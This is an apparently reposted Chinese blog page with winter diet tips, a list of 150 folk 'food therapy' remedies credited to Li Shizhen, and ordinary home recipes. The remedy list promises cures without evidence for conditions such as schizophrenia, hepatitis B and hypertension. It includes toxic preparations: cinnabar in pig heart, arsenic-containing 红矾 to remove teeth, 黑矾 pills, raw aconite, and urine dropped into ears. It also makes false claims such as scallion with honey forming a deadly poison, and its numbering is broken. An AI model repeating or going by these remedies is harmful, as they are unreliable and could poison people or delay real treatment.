白鹭

[转]三个饮食小秘方冬天不再怕冻==李时珍食物疗法150条

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:44:25 GMT

三个饮食小秘方冬天不再怕冻
　　天越来越冷，眼看着窗外的飞雪，出门说话时都已经能看到白色的“哈气”了。随着天气变化，很多小毛病也随之而来，比如手脚冰凉、腰酸背痛、经常感冒等，这个时候吃什么能让自己远离这些小毛病的困扰呢？
　　防寒要领：冬季养生的基本原则当讲“藏”。由于人体阳气闭藏后，人体新陈代谢相应较慢，因而要依靠
生命的原动力——“肾”来发挥作用。因此，冬季养生很重要的一点是“养肾防寒”。

　　第一回合多吃御寒食物
　　焦点：腰膝酸软
　　对策：腰膝酸软、气血两亏者大多畏寒，适当选用具有御寒功效的食物进行温补和调养，可改善这一状况。多吃御寒食物可以起到暖和全身组织、增强体质、促进新陈代谢、提高人体防寒的能力。
　　不传秘方：羊肉粥
　　取鲜羊肉100克，粳米100克，盐、葱、姜适量。羊肉洗净切片，葱、姜切成碎块备用。将粳米淘洗干净，同羊肉及调味品一同放入锅内，加清水适量，先用大火煮沸，再用文火熬成粥。本粥具有益气血、暖脾胃、添精补髓的作用，适于阳气不足、气血亏损、腰膝酸软者服用。
　　

　　第二回合增加产热营养素
　　焦点：身体瘦弱怕冷
　　对策：由于冬季气候严寒，机体天天为适应外界严寒环境，消耗能量相应增多，因而要增加产热营养素(蛋白质、脂肪、碳水化合物)的摄入量，尤其是要相对增加一些脂肪的摄入量，如在吃荤菜时适量放入一点点肥肉。
　　不传秘方：橄榄雪梨炖瘦肉
　　橄榄15克、雪梨50克、瘦肉100克、蜜枣1个。将瘦肉洗净，沸水略煮后切块，雪梨洗净切片再与洗净的橄榄、蜜枣放入炖盅内加清水250毫升，炖两小时即可。此款菜品利咽生津，滋阴润燥。

　　第三回合补充蛋氨酸
　　焦点：手脚冰凉
　　对策：严寒的气候使人体尿液中肌酸的排出量增多，脂肪代谢加快，而合成肌酸、脂酸及人体内氧化所释放出的热量都需要甲基。因此，在冬季应多摄取含蛋氨酸较多的食物。
　　不传秘方：姜汁甜牛奶
　　取150－200毫升鲜牛奶，加入一调羹生姜汁和少许白糖，放入容器内隔水蒸十五分钟。此款饮品有驱寒合胃之功效，天天饮用一杯，手脚寒气便会渐失。
李时珍食物疗法150条
食物疗法”是祖国医药宝库中有一个重要组成部分，是我国劳动人民长期与医病作斗争的经验总结。利用食物防治医病的方法，在我国民间流传很广。几千年来，在保护人民身体健康方面起了很大作用。食物药原，到处可见，不论瓜果蔬菜，还是粮食肉蛋，都能作药用。“食物疗法”取材便利，简单易行，疗效显著，安全无毒花钱少，不出家门可自疗等优点。
1、治水肿：西瓜皮、冬瓜皮、赤小豆各30克，水煎服。
2、止外伤出血：西瓜叶，晒干，研末，撒患处，立即止血。
3、治闪腰岔气：西瓜皮阴干，研末，加盐少许，以酒调和，每服9克，日服2次。
4、治火烧饭烫：干西瓜皮30克，研末，加香油调匀涂患处。
5、治尿血：葡萄根、白糖各6克，水煎服。
6、治咳嗽：大梨1个，洗净连皮切碎，加冰糖炖服，见效迅速。
7、治火眼肿痛：将黄连浸于梨中，以梨汁点眼，1日数次。
8、治红眼病：桑叶、菊花各15克，水煎，去渣，温洗患眼，1日2次。
9、治哮喘：桃仁、杏仁、白胡椒各6克，生糯米10粒，上药共为末，用鸡蛋清调匀，外敷双脚心和双手心。
10、治半身不遂：桃仁（去皮尖）放酒中浸1周，晒干为末，以蜜调和为丸（梧桐子大），日服2次，每次15丸，以黄酒或开水送。
11、治痢疾：石榴皮、山楂各30克，水煎服。
12、治中耳炎：石榴花，焙干研细，加冰片少许，吹耳内。
13、治误吞金属物：韭菜，不拘量，洗净，不切断，放水中煮软食，金属物和大便一起排出。
14、治鱼刺卡喉：将活鸭倒挂，吐出唾液，放患处鱼刺即化为水。
15、治冻疮：将干辣椒煮水，每日早晚洗1次，连洗数日即愈。
16、治冻疮：煮干辣椒水，每日早晚洗一次，连洗数日即愈。
17、治秃发：将红辣椒泡酒一周，用酒涂患处，一日数次，可促进头发再生。
18、治关节炎：辣椒面。冬天用酒，夏天用醋调和涂患处，见效快。
19、治脱肛：将河中螺蛳，去掉外壳用白矾面撒其肉上，化水涂患处，神效。
20、治鼻出血：把大蒜捣烂如泥，敷双脚心，见效迅速，安全可靠。
21、治小便不利：大蒜5头，大麻子50粒共捣烂，每晚将药适量敷在脚心，第二天早晨去掉，晚上再敷，以小便利为止。
22、治小便不通：大蒜1头，盐60克，山栀6克，共为末，加水调匀，敷脐上，数小时即通。
23、治关节扭伤：大葱叶适量，捣烂，敷患处，数次即愈。
24、治疮痈：大葱全株，捣烂，醋调和，炒热敷患处。
25、治急性化脓性感染：葱白、蜂蜜等份，捣烂敷患处。
26、治大便下血：白果15克，藕节15克，共为末，分3次，1日服完。
27、治四肢麻木：生姜60克，陈醋100毫升，煎汤洗患处。
28、治慢性气管炎：生姜7片，白萝卜250克，水煎服。
29、治类风湿性关节炎：生姜、大葱、辣椒各9克。同面条煮食，趁热吃下，以出汗为度，连服10天，每天2次，主治腰痛、腿痛。
30、治胃痛：生姜30克，鸡蛋1个，香油30毫升。生姜切碎，打入鸡蛋，用油煎，一日3次分服，连3-5日。并治风寒侵袭咳嗽。
31、治受寒腹痛：鲜姜3片，白胡椒7粒，红糖1.5克，水煎服。去寒止痛。
32、治遗尿：老姜1块，捣烂，泡白酒1000毫升，每晚睡前擦脐以下正中线皮肤，以稍红为度，连用5-7天。
33、治疟疾：生姜适量，捣烂，于疟疾发作前4小时包敷两膝盖可截疟。如皮肤发痒需去除。
34、治狗鼠咬伤：生姜汁1酒杯内服，另将姜、红糖捣烂敷患处。
35、治百虫入耳：将生姜汁，滴入耳内1-2滴，虫立即自出。
36、治月经痛：鲜姜15克，红糖30克，水煎服，去寒痛。
37、治头虱：头发虱时，可水中加醋洗头，数次即可除。
38、冶头痒脱发：好醋130毫升，热水200毫升，趁热洗头，日1次。可头痒、头皮屑多和掉头发。
39、治痄腮：丝瓜、烧存性，研末，用鸡蛋清调敷，日2次。
40、治夜盲：牛肝或羊肝1具，用竹片割开几处，将夜明砂16克，石决明9克纳入，放碗中蒸熟分2次吃，连用3日可愈。
41、催乳：莴苣子15克，猪前蹄2个，共煮，喝汤食蹄，神效。
42、治蛲虫病：生南瓜子，研碎，开水调服，日2次，每次1匙，连服1周。
43、治钩虫病：南瓜子、槟榔各120克，共为末，每日早晚各服15克。
44、治浮肿、腹水、小便不利：南瓜蒂烧存性，研末，温水送服。每次1.5-2克，日3次。
45、治习惯性流产：每天用老南瓜30克，加水煎服，连用15天，有安胎作用。
46、治产后手足浮肿：南瓜子30克炒熟，水煎服，日1次。
47、治阳痿不举：生虾（鲜河虾）60克，滚热黄酒半杯，将虾烫死后吃虾喝酒，日1次，连吃7天。
48、阳痿：鲜大虾、韭菜，适量加油盐炒食，喝酒。
49、治阳痿：阳痿不举或举而不坚，或临房早泄：鲜活大虾100克，阳起石20克研面，生大虾蘸阳起石吃，喝白酒，神效。
50、治阳痿：鲜大虾淬酒，炖服，每日早晚适量食之，连服7日。
21、立治牙痛：白酒1两、松香15克，泡2小时后用棉花沾酒放在牙痛处，咬紧。5分钟不痛，虫、火、寒、热牙痛，数次即愈。
51、治老年人尿多：龟肉250克，地骨皮2克，小公鸡肉适量，共炖服。
52、治小儿遗尿：龟肉250克，加水煮烂，入盐少许，一日分2次食完。
53、治脑震荡后遗症、头痛、头晕：龟头焙干研为细末，日2次，黄酒送服，连用1周。
54、治慢性肾炎，蛋白尿：活乌龟3只，切成小块，猪肚1个，加水文火炖成糊状，不放盐或少放盐。早晚分服。配服中成药“壮腰健肾丸”每天2次，每次1丸。孕妇忌服。
55、治贫血、黄疸：摆壳，煅存性，研末，每服6克，日服2次，红糖适量，调服。
56、治中耳炎、流血流脓：猪胆汁、明矾。明矾研面入猪胆内泡一夜，晒干再研末，用时先把耳内脓血水擦干，然后将药吹耳内，日2次。
57、精神分裂症：鲜猪心2个，净朱砂3克，用竹筷子将猪心扎几个洞，每个猪心纳朱砂1.5克，用砂锅炖熟。吃心喝汤，连服20—30个，即可恢复正常。
58、治癫痫：猪蹄2个，猪心1个，鲜地榆30克。共煮烂，去药，吃肉饮汤，连用1周。
59、催乳：猪蹄2个，通草6克，炖汤服。
60、治耳聋耳呜：生猪皮，香葱各100克，同剁烂，稍加食盐，蒸热后1次吃完，连吃3天。对疲劳过度或上火引起的耳聋耳呜有效。
61、治老年人耳聋：狗肉250克，马豆60克，同炖烂，早晚分2次食完，连食数周即愈。
62、治腰酸腿软，体虚怕冷：狗肾1个，先将滑石粉放锅内炒热，再放入狗肾烫至鼓起，去滑石粉，切断研末。每天2次，每次3克，开水送服。
63、治跌打损伤：羊血30克，研末，日服2次，每次1克，用酒冲服。
64、治肺结核、气管炎：羊肉500克，小麦仁60克，生姜9克，熬炖成稀饭，早晚分服，连用1月。
65、治疝气：羊蛋、鸡蛋各2个，水煮，吃蛋饮汤，日2次，连用数日，对气虚得得脐腹股沟疝有效。
66、治小儿疳积：鲜红薯叶95克，鸡内金2个，水煎服。
67、治大便燥结：鲜红薯叶250克，加油盐炒食，1次吃完，早晚空腹各食1次。
68、治全身浮肿：小麦麸（炒黄），加红糖适量，拦匀，大枣汤冲服。每次60克，日2次，连用15日。
69、治失眠：麦仁60克，大枣15枚，甘草15克，水3碗煎至1碗，睡前服。
70、治贫血：瘦猪肉125克，大枣15克（去核），黑矾60克，共剁炸如泥，炼蜜为丸，如梧桐子大。每次服9克，日服2-3克，开水送下。此方对贫血有特效。
71、治久咳不愈：狗肺、白萝卜各1个，杏仁9克，切块炖烂，连汤一起食用，神效。
72、治湿疹顽癣：鲜鳝鱼血涂患处。
73、治面神经麻痹：活鳝鱼1条，切断取血，涂于患侧面部，再用干稻草点燃烤干。如患者感觉恢复正常，可用温水洗去，如未恢复，再用上法治疗。
74、治肾虚腰痛：黄鳝半斤，切断，猪肉100克，蒸食。
75、治胃寒痛：花椒60克，炒焦研末，日服3次，每次3克，米汤送服。治久寒胃痛，受凉就痛者有效。
76、治皮肤发痒：花椒、白矾各15克，水煎洗患处。
77、治阴囊湿疹（绣球风）：花椒、白矾等份，共研末，用鸡蛋黄调匀，涂患处。
78、治手癣：生姜250克，白酒500毫升。将姜切碎泡入酒中，3日后应用。每日早晚搽患处数遍。
79、治胆道蛔虫：鲜姜30克，取汁，加水200毫升冲服。每4小时服1次，如首次没有显效者，1小时后加服1次。
80、治麻疹：香菜500克，水烧开后下菜煮沸，先熏后洗，治疹出不畅。
81、治疗肿：将香蕉去皮捣烂，敷患处，一日2次。
82、治手足皲裂：香蕉1个放炉旁热后备用，先用热水洗手后，用香蕉少许擦患处，并进行摩擦一会，一般连用数次即愈。
83、治烫伤：香蕉去皮，将果肉捣烂如泥，敷患处，一日2次。
84、治消化不良：菠萝1个，挤汁饮，每次1蛊。
85、治支气管炎：菠萝120克，蜂蜜30克，水煎服。
86、治黄疸型肝火：大枣250克，茵陈60克，共煎吃枣饮汤，早晚分服。
87、治头晕疼：小红枣5两，冬青树枝3两，早晚分服。
88、治久咳：酸枣仁研末，每服5克，日服5次。
89、治食欲不振、消化不良：干枣去核，焙干为末，每服9克，服时加生姜3克，日服3次，开水送服。

90、治大便下备：白果5克，藕节15克。共为末，一日服完。
91、治蛲虫病：生白果数个，捣烂成糊，敷肛门上，连用5---7日。
92、治遗尿：将白果炒香，5---10岁儿童，每次吃5---7个，成人每次8---10个，食时细嚼慢咽，以不遗尿为度。
93、治咳嗽痰喘：白果仁9克，麻黄、甘草各6克，水煎服，特效。
94、治咳喘：核桃1个，生姜1片。每日早晚空腹将桃仁和姜片嚼食，连用。
95、治咳嗽：核桃仁9克，捣烂，加糖适量拌均，每日早晚开水冲服。
96、治肾：核桃仁9克，蛇蜕1条，共焙干，研面用黄酒冲服。
97、治尿路结石：核桃仁120克，冰糖120克，香油50毫升，上药共放铁勺内熬15分钟，凉后内服，每日一剂，早晚分服。
98、治食欲不振，不想吃饭：葡萄干9克，饭前嚼食，一日3次。
99、治哮喘：杏仁10？克，麻黄30克，豆腐125克，共煮1小时，去药渣，吃豆腐饮汤，早晚2次分食，连用1周可以根除。
100、治老年慢性气管炎：苦杏仁100克，冰糖100克，川贝30克，研粉。每日早晚各服9克，10天为一疗程，特效。
101、吃柿子不能喝酒：两食物犯克，易在胃中形成结石。
102、吃大葱不能吃蜂蜜：两物混合后形成剧毒药物。
103、戒烟法：用中药槟榔1个，钻一小孔，孔中注入烟油，放水中泡湿，随身自带，想吸烟时闻闻，一周自戒。
104、戒酒法：用蛴螬50个，焙干为末，白酒冲服，一日3次，3日自戒。
105、千杯不醉：用葛根或葛花适量泡茶喝，边喝酒，边喝此茶。
106、治高血压：（1）香蕉皮30克，晒干水煎服，一日3次，一个月见效。（2）中药萝布麻15克，开水冲服，半月见效。
107、治低血压、冠心病：老茶树根、榆树根各30克，葛藤根20克，水煎服，日一剂，连服三个疗程。（注：4日一疗程）
108、治低血压：甘草20克，桂枝、肉桂各40克，将以上药物混合当茶冲服，连用一周。
109、治心绞痛：瓜蒌焙干研末，每日3次，1次10克。
110、治血脂稠：（1）枸杞子10克，何首乌、草决明、山楂各15克，丹参20克，水煎服，每日2次，7天一疗程，4疗程治愈。（2）山楂、银杏叶、绞股蓝各15克，泡茶喝，半月一疗程，连服4疗程。
111、治前列腺炎：（1）生南瓜子30克，饭后去壳服，日三次。（2）大黄200克，兑热水2000毫升，熏洗阴部。
112、治前列腺肥大：（1）木香根100克，水煎服，一日2次，半月治愈。（2）贝母、党参、苦参各30克，水煎服，一日2次，7天一疗程，两个疗程治愈。
113、治乙肝：玉米须、茵陈、绿豆、大枣各30克，水煎服，一日3次，一月一疗程，3个疗程治愈。
114、治黄疸型肝炎：玉米须各30克，水煎服。每日2—3次，一个月治愈。
115、脸上黑星（雀斑）：芫荽（香菜）适量，煎汤，一日洗3次，一个月治愈。
116、治脚出汗、脚臭：萝卜煮水，每晚熏洗双脚30分钟，连洗半月治愈。
117、治脚气：韭菜1斤，煮水泡脚，加白糖1两，每晚洗一次，三天除根。
118、治失眠：用干花生豆半斤煮水，加白糖1两，每晚服1次，半月治愈。
119、治失眠症：失眠2—3年后为失眠症。用柿叶、山楂各10克，水煎服，每日2次，一月治愈。
120、治神经衰弱：浮小麦50克、甘草24克、大枣20克、酸枣仁30克，混合，水煎服，每日1次，半月治愈。

122、根治牙痛：蚂蜂窝、红糖各1两，兑两碗水，煎剩一碗时让患者喝下，三十年不痛。
123、拔牙特效：4两重鲫鱼1条，去内脏，内装红矾半钱，挂在有风无太阳的阴凉处，5日后鱼表面浸出大量的白霜（又叫利骨草），将其抹在牙根上，三分钟不痛自掉。
124、治口腔炎：西瓜皮晒干，蜂炒焦，加冰片少许研末，用蜂蜜调和涂于患处，特效。
125、治烂嘴：浓茶叶水，加少许食盐，漱口，每天3—5次，三日治愈。
126、鱼骨卡喉：用鸭子口涎水滴入口中，自化。
127、治咽炎：海带1斤，烫一下取出，用白糖1斤腌2日后吃，日3次，每次30克，一付轻，两付好，三付除根。
128、硬物卡喉：（1）韭菜200克，生吃硬物自下。（2）荸荠捣烂搅汁，灌服，硬物自下。
129、百虫入耳：用猫尿滴耳，虫自出，用人乳也可以。（猫不尿时，用蒜辨抹鼻子）
130、治中耳炎：韭菜根一两捣烂，挤出水份，加少许冰片，滴耳，特效。
131、治老年耳聋：（1）用吸管将乌龟尿滴入耳内，每日一次，每次2滴，半月治愈。（注：用镜子照龟头，即撒尿）。（2）螃蟹捣烂如泥，挤汁滴耳，一日3次，7日一疗程，四个疗程治愈。
132、治耳鸣耳聋：雄乌鸡1只，甜酒4斤，煮熟后乘热吃，连吃5只，特效。
133、治皮肤痒：柏叶、槐叶、柳叶、艾茄子秆各等份，煮水洗，每日2次，七天治愈。
134、治湿疹：（1）山芋（红薯）或土豆捣烂如泥，敷患处，用猪胆汁调匀，涂患处，治顽固性湿疹，七天治愈。
135、治牛皮癣：大蒜捣烂如泥，用布包好挤水涂患处，现用现挤最好。一日3次，7天一疗程，二个疗程治愈。
136、治烧烫伤：蚯蚓10条，放入碗内，加白糖一两化成水，抹患处，三天治愈，不留疤痕。
137、治冻疮：冬瓜皮、茄子根各500克，煮水洗患处，一天两次，3天即好。
138、治晕车：（1）乘车时，口嚼松枝叶，三分钟不晕；（2）生姜一片暖和胶布沾在肚脐上，三分钟治愈。
139、治乳腺炎：韭菜50克、杏仁10克，去皮一并放于碗中捣碎如泥敷患处，每天两次，七天治愈。
140、治月经不调：用月季花10朵，水煎加红糖20克，日2次，半月即愈。
141、治阳痿不举：蚂蜂窝烧研，用新汲井水服二钱特效。
142、治早泄：韭菜籽500克，轻炒研末，每次10克，饭前服，连服2付。
143、治各种筋骨疼痛：凤仙花根4两，泡1斤白酒，然后用酒洗患处。
144、治坐骨神经痛：生川乌、草乌各30克，桂枝15克，研末，加食盐130克，炒黄后加少量白酒，立即用布包好慰痛处，每天2次，10天一疗程。
145、治腰腿痛：续断、牛膝、杜仲各3钱，水煎服，日一剂，七天治愈。（孕妇去牛膝加桑寄生）
146、治骨质增生：活蚯蚓10条，白糖1两，用布包好，用烙铁加热敷患处。日2次，每次2分钟，一个月治愈。
147、治肩关节炎（肩周炎）：细辛100克，生姜35克，装1斤60度的白酒中，七天后用酒洗患处，日3次，7天一疗程，4疗程治愈。
148、治四肢麻木：生姜、大蒜各20克，切碎拌陈醋100克，加水一碗，煎开熏洗患处。
149、老鼠自死法：水泥、面粉各50克，熟花生米5粒，研末调匀后放到老鼠多的地方，老鼠吃后3天自死。
150、治打呼噜：花椒15粒，泡茶1杯，睡前服下，连用15日，睡前枕头不要太高，永不打呼噜。

[转]一日一菜，品味365天！

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:34:49 GMT

　　

　　　　胡萝卜丝拌白菜

　　制作工艺:炝口味：清香味

　　主料：白菜500克配料：胡萝卜100克调料：大葱5克醋3克酱油5克五香粉3克辣椒酱5克盐3克

　　白菜、胡萝卜洗净修好切细丝，葱切丝，再同盐、醋、酱油、五香面、辣椒油一起调拌均匀，即可食用。

　　

　　　　花生拌黄瓜

　　制作工艺:拌口味：清香味

　　主料：黄瓜1000克花生仁（生）100克配料：胡萝卜200克调料：白砂糖10克醋10克盐5克

　　黄瓜、胡萝卜洗净切丁，花生米用清水煮熟装盘，然后用盐、醋、糖一起拌匀即可。

　　

　　　　芹菜拌肉丝

　　制作工艺:拌口味：清香味

　　主料：芹菜200克猪肉(瘦)150克配料：调料：料酒5克盐3克花椒1克香油5克味精1克

　　1.瘦猪肉洗净，取一锅加适量水，置火上烧开，把猪肉放入锅内，加少许精盐和料酒，封盖，猪肉煮熟（不宜太烂）即捞出，先切成薄片，再顺着肉纹切成3厘米长的细丝，放盘内，撒上精盐拌匀。

　　2.芹菜摘掉叶，洗净放开水中烫熟捞出晾凉，斜切成细丝，放入肉丝盘内，加入精盐、味精拌匀。

　　3.炒锅置火上烧热，加入香油，待油热后放入花椒、炸出香味后将花椒铲去，油浇在芹菜丝上，扣上碗焖10分钟即可。

　　

　　　　芹菜炒鳝鱼

　　制作工艺:生炒口味：咸鲜味

　　主料：鳝鱼150克配料：芹菜100克调料：大葱5克大蒜10克姜5克胡椒2克花椒2克豆瓣酱15克白砂糖5克植物油50克料酒10克酱油10克醋5克

　　1. 将胡椒、花椒炒焦，研成细粉；

　　2. 芹菜斜切丝，焯熟备用；

　　3. 姜、葱、蒜切丝；

　　4. 将鳝鱼切成4厘米长的斜丝；

　　5. 锅置旺火上放入植物油加热后，放入鳝鱼丝，翻炒至半熟时加入料酒、豆瓣酱、姜丝、葱丝，再翻炒几下；

　　6. 放入酱油、白糖、肉汤，然后改微火煨之，待汁将尽时，加入醋翻炒；

　　7. 最后放入焯熟的芹菜丝，炒匀后盛在碗里，撒上胡椒粉、花椒粉即成。

　　

　　　　苋菜瘦肉汤

　　制作工艺:煮口味：本味咸鲜

　　主料：苋菜(紫)250克猪肉(瘦)60克配料：调料：盐1克植物油10克

　　1. 将瘦肉洗净切片；

　　2. 苋菜洗净切段；

　　3. 用3碗水煮滚，然后放入苋菜和瘦肉，加少许油，片刻后再加盐调味即可。

　　

　　　　苦瓜炒猪肝

　　制作工艺:熟炒口味：清苦味

　　主料：苦瓜200克猪肝75克配料：调料：大蒜10克料酒5克酱油5克盐3克味精2克花生油20克

　　1. 将苦瓜洗净，去瓤，放入精盐腌渍5分钟，以去苦味，冲净切块。

　　2. 将猪肝洗净，切成薄片，加料酒、精盐腌渍10分钟，再用开水焯一下，捞出沥干。

　　3. 将炒锅置于火上，加入花生油，待油烧热后，投入大蒜粒、苦瓜，翻炒几下，放入酱油、料酒略烹，倒入猪肝翻炒，加入味精调味即成。

　　

　　　　草菇炖豆腐

　　制作工艺:原炖口味：本味咸鲜

　　主料：豆腐(南)500克配料：草菇20克竹笋15克油菜心25克调料：盐3克酱油20克味精2克黄酒10克淀粉(豌豆)10克香油5克

　　1.竹笋去壳去皮后洗净切片；油菜心择洗干净；淀粉加水适量调匀成湿淀粉约20克；将豆腐切成4厘米长、2厘米宽、1厘米厚的块，放在锅内，加清水、少许精盐，用文火炖10分钟后，捞出沥净水。

　　2.锅架火上，放入麻油，烧热后下绍酒，清汤100毫升、水发草菇、笋片、菜心、剩余精盐、酱油、味精、豆腐块，烧沸后用湿淀粉勾芡出锅即可。

　　

　　　　葱油薯块

　　制作工艺:烧口味：咸甜味

　　主料：甘薯500克配料：大葱30克调料：植物油40克胡椒粉1克盐2克香油5克味精1克

　　1.将白薯洗净，削去皮，切成2厘米见方的块。大葱去根和老叶，洗净，切末。

　　2.将炒锅置大火上烧热，倒入植物油，待油热后先放入葱末，炒出香味时放入白薯块翻炒数分钟，加入精盐炒匀，将白薯块拨到锅周围，加少许水于锅底，盖上锅盖，改用小火烧至白薯酥烂，加入味精和香油和匀，盛入盘中，撒上胡椒粉即可上桌供食。

　　

　　　　葱油鸡丝

　　制作工艺:拌口味：葱香味

　　主料：鸡肉300克配料：粉皮100克调料：大豆油20克盐5克味精2克白砂糖4克大葱20克

　　1.鸡肉（白鸡脯肉）洗净煮熟备用；葱去根洗净切成末备用；粉皮切成丝，放入沸水锅内烫一下，捞入凉开水里冷凉，捞出沥尽水分，放入盆内。

　　2.鸡脯肉切成丝，放在粉皮上面，浇入用葱末、烧沸的大豆油、精盐、味精和白糖调成的味汁，拌匀即成。

　　

　　　　蒜拌绿豆芽

　　制作工艺:拌口味：蒜香味

　　主料：绿豆芽300克配料：调料：盐2克大蒜15克醋5克白砂糖3克味精2克香油5克

　　1. 绿豆芽的根须摘去，清洗干净；

　　2. 放沸水锅中烫到断生，捞出，用凉开水漂凉，捞出，沥干水后装盘；

　　3. 蒜头去皮，先切成碎末，再用刀背剁成泥，放入绿豆芽中；

　　4. 再加入白糖、精盐、醋、味精和香油，拌匀即可食用。

　　

　　　　蒜泥拌黄瓜丝

　　制作工艺:拌口味：清香味

　　主料：黄瓜800克配料：调料：植物油20克盐6克醋15克姜5克大葱5克大蒜5克白砂糖5克香油5克

　　姜洗净去皮切成丝；大葱去根洗净切成丝；大蒜剥去蒜衣，用刀拍碎，剁成蒜泥；黄瓜洗净，控去水分，横切成片，再改用直刀切成细丝，用精盐、白糖拌匀，盛入盘内，再将陈醋、姜丝、葱丝、蒜泥、香油调好，食用时浇在黄瓜丝上即可。

　　

　　　　蒜苔炒肉丝

　　制作工艺:滑炒口味：原本味

　　主料：蒜苔200克猪肉(瘦)200克配料：调料：植物油20克香油3克酱油35克料酒10克甜面酱5克淀粉(豌豆)10克大葱5克

　　1. 将淀粉加水适量调匀成水淀粉；

　　2. 葱去皮洗净，切成末，备用；

　　3. 将瘦猪肉切成6厘米长的丝；

　　4. 蒜苔择去老茎，洗净，切成3厘米的长段，用开水烫一下，捞出控净水分；

　　5. 将油放入炒锅内，上火烧热，后放入肉丝煸炒变色，下入葱末、甜面酱、蒜苔搅炒均匀；

　　6. 烹入料酒、酱油，加水少许，开锅后用水淀粉勾芡，淋入香油，出锅装盘即可。

　　

　　　　蒜苗五花肉

　　制作工艺:熟炒口味：咸鲜味

　　主料：猪肉(肥瘦)500克配料：青蒜250克调料：大葱5克酱油4克花生油20克盐3克料酒4克味精3克

　　1. 将带皮猪五花肉洗净，下入开水锅中煮至八成熟，捞出晾凉切成厚片；

　　2. 青蒜苗洗净切小段；

　　3. 大葱切花；

　　4. 炒锅注油烧热，下入葱花爆锅；

　　5. 倒入肉片翻炒至卷缩，加入青蒜苗、酱油、盐、料酒、味精翻炒几下，出锅装盘即可。

　　

　　　　蒜苗拌豆腐

　　制作工艺:拌口味：清香味

　　主料：豆腐(北)400克配料：青蒜100克调料：花生油25克盐3克味精2克香油10克

　　1. 青蒜（蒜苗）摘洗干净，控去水分，切成末；

　　2. 豆腐放入沸水中烫透捞出，晾凉后切成2厘米见方的小块；

　　3. 豆腐块放入盆内，上面均匀地撒满青蒜末，随即加入花生油、精盐和味精拌匀后装入盘中，淋入香油即成。

　　

　　　　蔬菜沙拉

　　制作工艺:拌口味：清香味

　　主料：圆白菜200克番茄80克黄瓜60克配料：青椒30克洋葱30克调料：色拉油15克盐2克柠檬汁20克蜂蜜10克

　　1.把所有准备好的材料（圆白菜、番茄、小黄瓜、青椒、洋葱）分别洗净，包心菜、番茄切片，青椒、洋葱切环片。

　　2.把切好的材料混拌匀，放在盘子中，备用。

　　3.最后，把所有的调味料（色拉油、盐、柠檬汁、蜂蜜）混合，搅拌均匀，淋在蔬菜上就可以了。

　　

　　　　虎皮青椒

　　制作工艺:熟炒口味：酸咸味

　　主料：青椒400克配料：调料：盐2克酱油6克醋10克味精3克色拉油70克

　　1. 青椒去蒂，洗净，放入七成热油中炸至皮酥至熟时捞起，沥干油；

　　2. 炒锅留少许余油，下青椒、盐、味精、酱油、醋，炒匀入味后，起锅装盘即成。

　　

　　　　虾仁鲜豆腐

　　制作工艺:原炖口味：咸鲜味

　　主料：豆腐(北)500克虾仁200克配料：蚕豆80克调料：姜8克色拉油60克盐12克白砂糖10克淀粉(豌豆)25克香油10克黄酒10克

　　1.嫩豆腐切丁，鲜虾仁入精盐2克、淀粉10克、绍酒10克腌渍10分钟。

　　2.取一盘子，加入色拉油、葱花（切花）、姜（切末）末，高火爆香2分钟。

　　3.将色拉油倒入豆腐内，再加入虾仁、小蚕豆及盐、白糖，加盖中高火9分钟。

　　4.随即将淀粉15克加冷开水拌匀，倒入汤汁中勾芡，淋上芝麻油即成。

　　

　　　　蚝油双菇

　　制作工艺:滑炒口味：清香味

　　主料：草菇250克香菇（鲜）250克配料：油菜心150克调料：盐3克料酒2克花生油15克蚝油10克淀粉(豌豆)10克大葱5克姜3克

　　1. 将草菇、香菇洗净切片，用开水氽一下，捞出备用；

　　2. 青菜心洗净切片；

　　3. 淀粉调匀匀成芡汁；葱、姜洗切片；

　　4. 炒锅注油烧热，下入葱姜片爆锅，倒入草菇和香菇煸炒，加入蚝油，盐、料酒及青菜心，稍加翻炒，勾芡淋上熟油，将青菜心摆在盘周围，双菇盛在盘中即成。

　　

　　　　蜜汁鲜果

　　制作工艺:拌口味：甜味

　　主料：苹果100克梨100克菠萝100克橙子100克配料：樱桃50克调料：白砂糖20克

　　1. 锅添水，加入白糖烧开，熬至糖汁浓稠，盛出晾凉；

　　2. 将苹果、梨去皮、核洗净；

　　3. 菠萝去皮洗净，均切小块；

　　4. 橙子去皮掰成小瓣；

　　5. 将苹果、梨、菠萝、橙子加糖汁拌匀，点缀上红、绿樱桃即可。

　　

　　　　豆芽蛋丝

　　制作工艺:拌口味：清香味

　　主料：鸡蛋260克绿豆芽400克配料：调料：大豆油20克酱油5克盐3克味精2克香油5克

　　1. 绿豆芽洗净，放入沸水锅中焯一下，捞出沥水；

　　2. 鸡蛋磕入碗内，搅打成糊，倒入烧热的油锅内，做成蛋皮，切成细丝；

　　3. 绿豆芽放入盆内，加入蛋皮丝、酱油、精盐、味精和香油，拌匀即成。

　　

　　　　酱爆双丁

　　制作工艺:酱爆口味：酱香味

　　主料：猪肉(瘦)300克配料：胡萝卜200克调料：花生油50克香油5克白砂糖5克芝麻酱30克料酒15克盐2克鸡蛋10克淀粉(豌豆)10克

　　1. 瘦猪肉切成1.5厘米见方的丁，在碗中加入料酒、盐、鸡蛋清、湿淀粉抓匀入味;；

　　2. 胡萝卜洗净去皮，切1厘米见方的丁；

　　3. 炒勺上火，注入花生油烧至五六成热时下入肉丁，用筷子打散，滑透，再倒入萝卜丁略滑，一起倒入漏勺内控净油；

　　4. 炒勺留底油回火上，下入甜面酱煸炒，见有小米粒样的泡起时，加入白糖、烹入料酒，再煸炒几下倒入肉丁及萝卜丁继续翻炒，待甜面酱均匀地挂满双丁上时，淋入香油即成。

　　

　　　　酸辣里脊豆腐汤

　　制作工艺:煮口味：酸辣味

　　主料：豆腐(北)400克猪里脊肉100克冬笋50克香菜50克香菇（鲜）50克配料：调料：醋30克胡椒粉6克盐5克味精3克香油15克大葱8克姜5克淀粉(玉米)5克植物油30克

　　1. 将豆腐切条；

　　2. 里脊肉、香菇、冬菇、葱、姜洗净均切成丝；

　　3. 香菜洗净切成末；

　　4. 锅上火放入清水，水开后分别放入豆腐条、香菇丝、冬笋丝、肉丝焯一下，捞出放入盘中；

　　5. 锅再上火，放入高汤、盐、醋、胡椒粉、鸡精；

　　6. 待锅开后倒入豆腐条、冬笋丝、肉丝，勾薄芡，撒上葱、姜丝、香菜末，即可出锅。

　　

　　　　酸辣鸡片

　　制作工艺:炝口味：酸辣味

　　主料：鸡肉200克配料：调料：醋3克辣椒粉10克香油10克味精2克酱油5克料酒5克胡椒粉5克大葱5克姜5克

